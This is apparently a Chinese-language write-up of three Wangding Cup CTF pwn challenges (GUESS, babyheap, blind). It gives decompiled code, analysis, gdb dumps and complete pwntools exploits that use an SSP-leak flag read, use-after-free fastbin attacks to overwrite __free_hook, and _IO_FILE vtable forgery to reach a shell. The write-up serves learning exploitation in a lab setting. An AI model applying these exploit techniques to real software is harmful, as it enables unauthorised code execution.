第一次打比赛便被网鼎杯血虐,当时栈溢出的水平不足以达到唯一的一个栈溢出的题目的要求,堆就更不必多说了。 现在在学习堆的中间回来看看有没有能力去复现当时的题。
GUESS 题目 还是比较清晰的,将flag.txt的内容读到了栈上,我们就是想方设法将其输出出来;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] int v5; // [rsp+1Ch] [rbp-84h] __int64 i; // [rsp+20h] [rbp-80h] __int64 max_num_3; // [rsp+28h] [rbp-78h] char flag_is_here; // [rsp+30h] [rbp-70h] char s2; // [rsp+60h] [rbp-40h] unsigned __int64 canary; // [rsp+98h] [rbp-8h] canary = __readfsqword(0x28u); max_num_3 = 3LL; LODWORD(stat_loc.__uptr) = 0; i = 0LL; setvbuf_and_alarm(); HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2); if ( HIDWORD(stat_loc.__iptr) == -1 ) { perror("./flag.txt"); _exit(-1); } read(SHIDWORD(stat_loc.__iptr), &flag_is_here, 0x30uLL); close(SHIDWORD(stat_loc.__iptr)); // read flag.txt // // // // puts("This is GUESS FLAG CHALLENGE!"); while ( 1 ) { if ( i >= max_num_3 ) { puts("you have no sense... bye :-) "); return 0LL; } v5 = get_fork(); if ( !v5 ) break; ++i; wait((__WAIT_STATUS)&stat_loc); } puts("Please type your guessing flag"); gets(&s2); if ( !strcmp(&flag_is_here, &s2) ) puts("You must have great six sense!!!! :-o "); else puts("You should take more effort to get six sence, and one more challenge!!"); return 0LL; }
分析 程序有canary,溢出点也很清晰; 这里就涉及到了canary的ssp leak; 因为只有三次机会,我们需要的就是栈地址; 所以第一次得到libc地址,第二次可以用environ变量得到栈地址,第三次读flag即可。
当时卡住的地方是栈地址的泄露: 栈的地址可以通过libc中的一个变量 _environ变量泄露出来。因为在libc中的全局变量 environ储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,进而计算出flag在栈上的地址。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * context.log_level = 'debug' sh = process('./GUESS') libc = ELF('./libc.so.6') puts_got = 0x602020 sh.recvuntil("guessing flag\n") sh.sendline(p64(puts_got)*0x100) sh.recvuntil("*** stack smashing detected ***: ") gdb.attach(sh) puts_addr = u64(sh.recvn(6).ljust(8,'\x00')) libc.address = puts_addr- libc.symbols['puts'] environ = libc.symbols['environ'] sh.recvuntil("guessing flag\n") sh.sendline(p64(environ)*0x100) sh.recvuntil("*** stack smashing detected ***: ") #gdb.attach(sh) stack_addr = u64(sh.recvn(6).ljust(8,'\x00')) sh.recvuntil("guessing flag\n") sh.sendline(p64(stack_addr -0x168)*0x100) sh.interactive() 结果如下: You should take more effort to get six sence, and one more challenge!! *** stack smashing detected ***: flag{Th1s_1S_Fl3g} me terminated
babyheap 题目 题目写的还是比较清晰的,功能如下
1 2 3 4 5 6 7 8 9 int menu() { puts("1.alloc"); puts("2.edit"); puts("3.show"); puts("4.free"); puts("5.exit"); return printf("Choice:"); }
alloc 会分配固定0x30大小的chunk,最多alloc 9次; edit 可以选择修改chunk,最多edit 3次 , 与alloc均不存在溢出的可能; show 会将内容打印出来; free 将chunk free掉,有明显的UAF漏洞。
1 2 3 4 5 6 7 $ checksec babyheap [*] '/home/sirius/tikool/wangdingbei/babyheap/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
分析 保护基本上全开,为了拿到shell,我们选择修改malloc_hook或free_hook来执行system(‘/bin/sh’)或使用one_gadget拿shell;
为了能够修改free_hook,我们需要leak libc的基址,但是程序只会固定malloc(0x20),也就是0x30大小的chunk,该chunk属于fastbin,而众所周知,fastbin是没办法泄露libc基址的,因此我们需要smallbin;
为了能够搞到smallbin,我们决定利用free的漏洞,当连续free两个chunk时,后free的fastbin的fd指针会指向先free的chunk,然后我们show便可以泄露堆地址;
当泄露出堆地址之后,我们可以修改fd指针的指向地址,这样malloc时便会到我们想要的地址,所以我们有机会来让修改chunk能够使其去伪造smallbin大小的chunk,这样想方设法将其free之后,其fd指针与bk指针指向<main_arena+88>处,这样show便可以泄露libc地址。
不过最终要控制malloc 与 edit的次数,在有限的次数内完成功能, 不得已的话再想办法修改edit的次数限制。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 from pwn import * context.log_level = 'debug' p = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') def Add(index, data): p.recvuntil('Choice:') p.sendline('1') p.recvuntil('Index:') p.sendline(str(index)) p.recvuntil('Content:') p.send(data) def Edit(index, data): p.recvuntil('Choice:') p.sendline('2') p.recvuntil('Index:') p.sendline(str(index)) p.recvuntil('Content:') p.send(data) def Show(index): p.recvuntil('Choice:') p.sendline('3') p.recvuntil('Index:') p.sendline(str(index)) def Delete(index): p.recvuntil('Choice:') p.sendline('4') p.recvuntil('Index:') p.sendline(str(index)) Add(0,'aaaaaaaa\n') Add(1,'bbbbbbbb\n') Add(2,'cccccccc\n') Add(3,'dddddddd\n') #--------------leak heap addr---------------- Add(4, p64(0xa0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10)) Add(5, p64(0x30) + p64(0x30) + '\n') Delete(1) Delete(0) Show(0) heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30 print "heap_addr: " + hex(heap_addr) `` pwndbg> x/10gx 0x0000000000602060 <---chunk_ptr 0-5 0x602060: 0x00000000011e2010 0x00000000011e2040 0x602070: 0x00000000011e2070 0x00000000011e20a0 0x602080: 0x00000000011e20d0 0x00000000011e2100 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 pwndbg> x/40gx 0x000000000011e2000 0x11e2000: 0x0000000000000000 0x0000000000000031 0x11e2010: 0x00000000011e2030 <--- get heap addr 0x0000000000000000 0x11e2020: 0x0000000000000000 0x0000000000000000 0x11e2030: 0x0000000000000000 0x0000000000000031 0x11e2040: 0x0000000000000000 0x0000000000000000 0x11e2050: 0x0000000000000000 0x0000000000000000 0x11e2060: 0x0000000000000000 0x0000000000000031 0x11e2070: 0x6363636363636363 0x0000000000000000 0x11e2080: 0x0000000000000000 0x0000000000000000 0x11e2090: 0x0000000000000000 0x0000000000000031 0x11e20a0: 0x6464646464646464 0x0000000000000000 0x11e20b0: 0x0000000000000000 0x0000000000000000 0x11e20c0: 0x0000000000000000 0x0000000000000031 0x11e20d0: 0x00000000000000a0 0x0000000000000031 0x11e20e0: 0x0000000000602068 0x0000000000602070 0x11e20f0: 0x0000000000000000 0x0000000000000031 0x11e2100: 0x0000000000000030 0x0000000000000030 0x11e2110: 0x0000000000000000 0x0000000000000000 0x11e2120: 0x0000000000000000 0x0000000000020ee1 0x11e2130: 0x0000000000000000 0x0000000000000000 `` #-------------leak libc addr-------------------- Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31)) gdb.attach(p) Add(6, p64(0) + p64(0xa1) + '\n') Add(7, p64(0) + p64(0xa1) + '\n') gdb.attach(p) Delete(1) Show(1) libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78 print "libc_addr: " + hex(libc_address) gdb.attach(p) `` pwndbg> x/10gx 0x0000000000602060 <---- chunk_ptr 0-7 0x602060: 0x00000000011e2010 0x00000000011e2040 0x602070: 0x00000000011e2070 0x00000000011e20a0 0x602080: 0x0000000000602068 0x00000000011e2100 0x602090: 0x00000000011e2010 0x00000000011e2030 <---被带偏的chunk 0x6020a0: 0x0000000000000000 0x0000000000000000 pwndbg> x/40gx 0x000000000011e2000 0x11e2000: 0x0000000000000000 0x0000000000000031 0x11e2010: 0x0000000000000000 0x00000000000000a1 0x11e2020: 0x0000000000000000 0x0000000000000031 0x11e2030: 0x0000000000000000 0x00000000000000d1 <-----fake small chunk 0x11e2040: 0x00007f042e615b78 0x00007f042e615b78 <-----get libc addr 0x11e2050: 0x0000000000000000 0x0000000000000000 0x11e2060: 0x0000000000000000 0x0000000000000031 0x11e2070: 0x6363636363636363 0x0000000000000000 0x11e2080: 0x0000000000000000 0x0000000000000000 0x11e2090: 0x0000000000000000 0x0000000000000031 0x11e20a0: 0x6464646464646464 0x0000000000000000 0x11e20b0: 0x0000000000000000 0x0000000000000000 0x11e20c0: 0x0000000000000000 0x0000000000000031 0x11e20d0: 0x00000000000000a0 0x0000000000000031 0x11e20e0: 0x0000000000602068 0x0000000000602070 0x11e20f0: 0x0000000000000000 0x0000000000000031 0x11e2100: 0x00000000000000d0 0x0000000000000030 0x11e2110: 0x0000000000000000 0x0000000000000000 0x11e2120: 0x0000000000000000 0x0000000000020ee1 0x11e2130: 0x0000000000000000 0x0000000000000000 `` #---------cover free_hook with one_gadget to get shell -------------------------- one_gadget = 0x45216 free_hook = libc_address + 0x3c67a8 print "free_hook: "+ hex(free_hook) Edit(4,p64(free_hook) + '\n') Edit(1, p64(libc_address + one_gadget)[:-1] + '\n') Delete(1) p.interactive()
blind 题目 题目风格与babyheap基本一致: malloc的chunk大小变为0x68 最后得到的chunk也就是0x70,最多6个chunk; edit函数功能一致,去掉了次数限制,show函数被去掉; free函数仍然存在UAF,且限制3次。 同时添加了一个system(‘/bin/sh’)的函数。
分析 直接给了system(‘/bin/sh’)的函数,所以目标就是控制程序执行该函数; 看了半天没有头绪,能知道利用UAF漏洞将chunk分配到想要的地方,但是因为没有show函数,并没有办法泄露栈地址; 去看了下大佬们的思路,发现是将chunk malloc到bss段,而bss段存在着_IO_FILE的结构体及vtable虚表指针,我们通过修改指针指向,之后伪造file结构体及伪造虚表指针,程序在退出时会自动调用从而拿到shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 pwndbg> x/6gx 0x602020 <---------bss段的file指针 0x602020 <stdout>: 0x00007ffff7dd2620 0x0000000000000000 0x602030 <stdin>: 0x00007ffff7dd18e0 0x0000000000000000 0x602040 <stderr>: 0x00007ffff7dd2540 0x0000000000000000 pwndbg> x/28gx 0x00007ffff7dd2620 <----------stdout的结构体 0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd26a3 0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3 0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3 0x7ffff7dd2650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3 0x7ffff7dd2660 <_IO_2_1_stdout_+64>: 0x00007ffff7dd26a4 0x0000000000000000 0x7ffff7dd2670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dd18e0 0x7ffff7dd2690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff 0x7ffff7dd26a0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007ffff7dd3780 0x7ffff7dd26b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd26c0 <_IO_2_1_stdout_+160>: 0x00007ffff7dd17a0 0x0000000000000000 0x7ffff7dd26d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd26e0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000 0x7ffff7dd26f0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007ffff7dd06e0 pwndbg> p *(struct _IO_FILE_plus *) stdout <--------结构体含义 $4 = { file = { _flags = -72537977, _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0 <_IO_file_jumps> <---------将要被修改指向system('/bin/sh')函数的虚表指针 }
这个确实是知识点不足,对_IO_FILE比较陌生。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import * context.log_level='debug' sh = process('./blind') elf = ELF('./libc.so.6') def new(idx,content): sh.sendline('1') sh.recvuntil('Index:') sh.sendline(str(idx)) sh.recvuntil('Content:') sh.send(content) sh.recvuntil('Choice:') def change(idx,content): sh.sendline('2') sh.recvuntil('Index:') sh.sendline(str(idx)) sh.recvuntil('Content:') sh.send(content) sh.recv() def delete(idx): sh.sendline('3') sh.recvuntil('Index:') sh.sendline(str(idx)) sh.recvuntil('Choice:') system_addr = 0x4008E3 new(0,'a\n') new(1,'b\n') delete(0) change(0,p64(0x60203d)+'\n') <-------直接利用UAF漏洞伪造fastbin,相对于释放两个再伪造方便了不少 gdb.attach(sh) payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n' new(2,'a\n') new(3,payload) <-------------伪造的chunk 再用来修改存储chunk指针的地方,后面malloc的事直接省了,还不用考虑过malloc(fastbin)的检查 gdb.attach(sh) fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4 fake_struct += p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff) + p64(0) fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p64(0x602090 + 0x68*3) fake_vtable = p64(system_addr)*10 change(1,fake_struct[:0x68]) change(2,fake_struct[0x68:0xd0]) change(3,fake_struct[0xd0:]+'\n') change(4,fake_vtable+'\n') gdb.attach(sh) x/100gx 0x602020 0x602020 <stdout>: 0x00007f8bb5dde620 0x0000000000000000 0x602030 <stdin>: 0x00007f8bb5ddd8e0 0x0000000000000000 0x602040 <stderr>: 0x00007f8bb5dde540 0x6161610000000000 0x602050: 0x6161616161616161 0x6161616161616161 0x602060: 0x0000000000602020 0x0000000000602090 0x602070: 0x00000000006020f8 0x0000000000602160 <-----伪造的一堆chunk指针 0x602080: 0x00000000006021c8 0x0000000000000000 0x602090: 0x00000000fbad8000 0x0000000000602060 <-----fake_struct 开始 0x6020a0: 0x0000000000602060 0x0000000000602060 0x6020b0: 0x0000000000602060 0x0000000000602060 0x6020c0: 0x0000000000602060 0x0000000000602060 0x6020d0: 0x0000000000602061 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000602060 0x602100: 0x0000000000000001 0xffffffffffffffff 0x602110: 0x0000000000000000 0x0000000000602060 0x602120: 0xffffffffffffffff 0x0000000000000000 0x602130: 0x0000000000602060 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x00000000ffffffff 0x0000000000000000 0x602160: 0x0000000000000000 0x00000000006021c8 <----vtable指针指向存放system('/bin/sh')函数的地址 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0x0000000000000000 0x0000000000000000 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000000 0x0000000000000000 0x6021c0: 0x0000000000000000 0x00000000004008e3 <-----存放了一堆system('/bin/sh')函数的地址,便于命中 0x6021d0: 0x00000000004008e3 0x00000000004008e3 0x6021e0: 0x00000000004008e3 0x00000000004008e3 0x6021f0: 0x00000000004008e3 0x00000000004008e3 0x602200: 0x00000000004008e3 0x00000000004008e3 0x602210: 0x00000000004008e3 0x0000000000000000 change(0,p64(0x602090)+'\n') <------修改stdout指针,稳了 sh.interactive()